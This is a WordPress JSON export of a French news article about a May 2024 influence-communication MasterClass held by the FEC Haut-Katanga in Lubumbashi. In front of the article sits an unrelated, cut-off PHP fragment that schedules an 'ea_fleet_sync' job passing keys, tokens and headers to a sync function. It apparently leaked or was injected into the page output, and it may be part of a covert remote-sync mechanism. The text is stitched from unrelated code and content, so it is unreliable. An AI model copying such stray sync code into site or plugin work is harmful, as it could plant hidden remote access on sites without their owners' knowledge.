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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); {"id":646,"date":"2024-05-27T12:48:41","date_gmt":"2024-05-27T10:48:41","guid":{"rendered":"https:\/\/entrepreneurmagazinerdc.com\/?p=646"},"modified":"2026-08-13T18:02:03","modified_gmt":"2026-08-13T16:02:03","slug":"masterclass-sur-la-communication-dinfluence-un-franc-succes-pour-le-comite-professionnel-communication-marketing-de-la-fec-haut-katanga","status":"publish","type":"post","link":"https:\/\/entrepreneurmagazinerdc.com\/index.php\/2024\/05\/27\/masterclass-sur-la-communication-dinfluence-un-franc-succes-pour-le-comite-professionnel-communication-marketing-de-la-fec-haut-katanga\/","title":{"rendered":"MasterClass sur la communication d’influence : un franc succ\u00e8s pour le Comit\u00e9 Professionnel Communication & Marketing de la FEC Haut-Katanga"},"content":{"rendered":"\n

Lubumbashi, le 24 mai 2024 – Dans le cadre de l’Africa Communications Week<\/a>, qui se tient chaque ann\u00e9e au mois de mai \u00e0 travers le continent africain et au-del\u00e0, le Comit\u00e9 Professionnel Communication & Marketing de la F\u00e9d\u00e9ration des Entreprises du Congo (FEC) Groupement du Haut-Katanga a organis\u00e9 une MasterClass riche en \u00e9changes et en enseignements.<\/p>\n\n\n\n

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L’\u00e9v\u00e9nement, qui s’est tenu le 23 mai 2024 au Pullman Lubumbashi Grand Karavia, a r\u00e9uni une quarantaine de participants autour d’un panel d’experts compos\u00e9 de Sarah Henderson<\/a>, Digital Marketing Manager & PR chez Novotel Lubumbashi, Daniel Kaninda<\/a>, Fondateur et Chief Executive Officer (Daniweb \u2013 Expert), Hamidou Elebe<\/a>, Fondateur de Creabox Communication, Junior Ndala<\/a>, Vice-Pr\u00e9sident de l’Union nationale de la presse congolaise (UNPC) Haut-Katanga et responsable de LushiActu et Sam Nkuluntu<\/a>, Group Head of Public Relations and Communications du Groupe SOMIKA. Ensemble, ils ont explor\u00e9 les th\u00e9matiques de la communication d’influence, de l’impact de la communication et du marketing digital dans leur activit\u00e9 professionnelle, ainsi que des d\u00e9fis et des opportunit\u00e9s \u00e0 gagner en influence.<\/p>\n\n\n\n

Dans son mot d\u2019ouverture, David Ngoy, Directeur Administratif de la FEC Haut-Katanga, a soulign\u00e9 l’importance de la communication pour les entreprises : \u00ab\u00a0La communication est un \u00e9l\u00e9ment essentiel de la r\u00e9ussite de toute entreprise. Elle permet de se faire conna\u00eetre, de se diff\u00e9rencier de la concurrence et de fid\u00e9liser ses clients.\u00a0\u00bb<\/p>\n\n\n\n

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M. Fabien Emangomango<\/figcaption><\/figure>\n\n\n\n
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M. David Ngoy<\/figcaption><\/figure>\n<\/figure>\n\n\n\n

\u00ab\u00a0Le secteur de la communication au Haut-Katanga, comme dans de nombreuses r\u00e9gions d’Afrique, est confront\u00e9 \u00e0 de nombreux d\u00e9fis. Le manque de professionnalisation, la concurrence d\u00e9loyale et l’acc\u00e8s limit\u00e9 aux formations de qualit\u00e9 sont autant d’obstacles que nous devons surmonter ensemble\u00a0\u00bb, a fustig\u00e9 Fabien Emangomango<\/a>, Pr\u00e9sident du Comit\u00e9 Professionnel Communication & Marketing FEC Haut-Katanga. Aussi, il s\u2019est r\u00e9joui de l’initiative du Pr\u00e9sident Provincial de la FEC Haut Katanga qui a pr\u00e9conis\u00e9, pour son nouveau mandat, une communication accrue de la FEC. \u00ab\u00a0Cette volont\u00e9 traduit l’importance croissante que les entreprises accordent \u00e0 la communication et ouvre de belles perspectives pour les entreprises membres de notre comit\u00e9\u00a0\u00bb, a soulign\u00e9 M. Emangomango.<\/p>\n\n\n\n

La MasterClass a \u00e9t\u00e9 l’occasion pour les participants de partager leurs exp\u00e9riences et de s’enrichir des connaissances et des conseils des experts pr\u00e9sents. Les discussions ont \u00e9t\u00e9 particuli\u00e8rement anim\u00e9es et ont permis d’aborder des sujets d’actualit\u00e9 tels que l’importance de la coh\u00e9rence entre la communication digitale et la communication hors ligne, la n\u00e9cessit\u00e9 de mesurer l’impact des actions de communication et d’\u00e9tablir des strat\u00e9gies d’influence efficaces.<\/p>\n\n\n\n

Cet MasterClass a \u00e9t\u00e9 une v\u00e9ritable r\u00e9ussite. Elle a permis aux participants de se former, de partager leurs exp\u00e9riences et de nouer des contacts professionnels.<\/p>\n\n\n\n

La R\u00e9daction<\/p>\n